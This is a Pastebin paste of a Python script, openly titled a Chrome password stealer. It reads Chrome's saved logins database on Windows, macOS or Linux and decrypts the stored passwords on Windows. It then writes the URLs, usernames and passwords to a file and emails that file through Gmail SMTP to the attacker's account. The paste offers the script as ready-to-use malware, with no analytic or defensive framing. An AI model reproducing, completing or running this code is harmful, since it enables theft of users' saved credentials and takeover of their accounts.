Guest User

chrome pass stealer evolutio

a guest
May 9th, 2016
21
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.99 KB | None | 0 0
  1. import os,sys
  2. import sqlite3
  3. try:
  4.     import win32crypt
  5. except:
  6.     pass
  7. import argparse
  8. import smtplib
  9. from email.MIMEMultipart import MIMEMultipart
  10. from email.MIMEBase import MIMEBase
  11. from email.MIMEText import MIMEText
  12. from email import Encoders
  13.  
  14.  
  15. gmail_user =''
  16. gmail_pwd =''
  17. subject=''
  18. text=''
  19. attach='c:\\Am I Evil.txt'
  20.  
  21. def mail():
  22.     import sys
  23.     with open('c:\\Am I Evil.txt', 'w') as f:
  24.         sys.stdout = f
  25.         print main()
  26.         msg = MIMEMultipart()
  27.         msg['From'] = gmail_user
  28.         msg['To'] = gmail_user
  29.         msg['Subject'] = subject
  30.  
  31.         msg.attach(MIMEText(text))
  32.  
  33.         part = MIMEBase('application', 'octet-stream')
  34.         part.set_payload(open(attach, 'rb').read())
  35.         Encoders.encode_base64(part)
  36.         part.add_header('Content-Disposition','attachment; filename="%s"' % os.path.basename(attach))
  37.         msg.attach(part)
  38.  
  39.         mailServer = smtplib.SMTP("smtp.gmail.com", 587)
  40.         mailServer.ehlo()
  41.         mailServer.starttls()
  42.         mailServer.ehlo()
  43.         mailServer.login(gmail_user, gmail_pwd)
  44.         mailServer.sendmail(gmail_user,gmail_user, msg.as_string())
  45.         mailServer.close()
  46.  
  47.    
  48.  
  49. def main():
  50.     info_list = []
  51.     path = getpath()
  52.     try:
  53.         connection = sqlite3.connect(path + "Login Data")
  54.         with connection:
  55.             cursor = connection.cursor()
  56.             v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  57.             value = v.fetchall()
  58.            
  59.         if (os.name == "posix") and (sys.platform == "darwin"):
  60.                 print("Mac OSX not supported.")
  61.                 sys.exit(0)
  62.  
  63.         for information in value:
  64.  
  65.            
  66.             if os.name == 'nt':
  67.                 password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
  68.                 if password:
  69.                     info_list.append({
  70.                         'origin_url': information[0],
  71.                         'username': information[1],
  72.                         'password': str(password)
  73.                     })
  74.  
  75.            
  76.  
  77.             elif os.name == 'posix':
  78.                 info_list.append({
  79.                     'origin_url': information[0],
  80.                     'username': information[1],
  81.                     'password': information[2]
  82.                     })
  83.        
  84.        
  85.        
  86.        
  87.     except sqlite3.OperationalError, e:
  88.             e = str(e)
  89.             if (e == 'database is locked'):
  90.                 print '[!] Make sure Google Chrome is not running in the background'
  91.                 sys.exit(0)
  92.             elif (e == 'no such table: logins'):
  93.                 print '[!] Something wrong with the database name'
  94.                 sys.exit(0)
  95.             elif (e == 'unable to open database file'):
  96.                 print '[!] Something wrong with the database path'
  97.                 sys.exit(0)
  98.             else:
  99.                 print e
  100.                 sys.exit(0)
  101.    
  102.  
  103.  
  104.     return info_list
  105.  
  106. def getpath():
  107.     if os.name == "nt":
  108.             # This is the Windows Path
  109.             PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
  110.             if (os.path.isdir(PathName) == False):
  111.                 print '[!] Chrome Doesn\'t exists'
  112.                 sys.exit(0)
  113.     elif ((os.name == "posix") and (sys.platform == "darwin")):
  114.             # This is the OS X Path
  115.             PathName = os.getenv('HOME') + "/Library/Application Support/Google/Chrome/Default/"
  116.             if (os.path.isdir(PathName) == False):
  117.                 print '[!] Chrome Doesn\'t exists'
  118.                 sys.exit(0)
  119.     elif (os.name == "posix"):
  120.             # This is the Linux Path
  121.             PathName = os.getenv('HOME') + '/.config/google-chrome/Default/'
  122.             if (os.path.isdir(PathName) == False):
  123.                 print '[!] Chrome Doesn\'t exists'
  124.                 sys.exit(0)
  125.    
  126.     return PathName            
  127.  
  128.  
  129. if __name__ == '__main__':
  130.    
  131.     mail()
Add Comment
Please, Sign In to add comment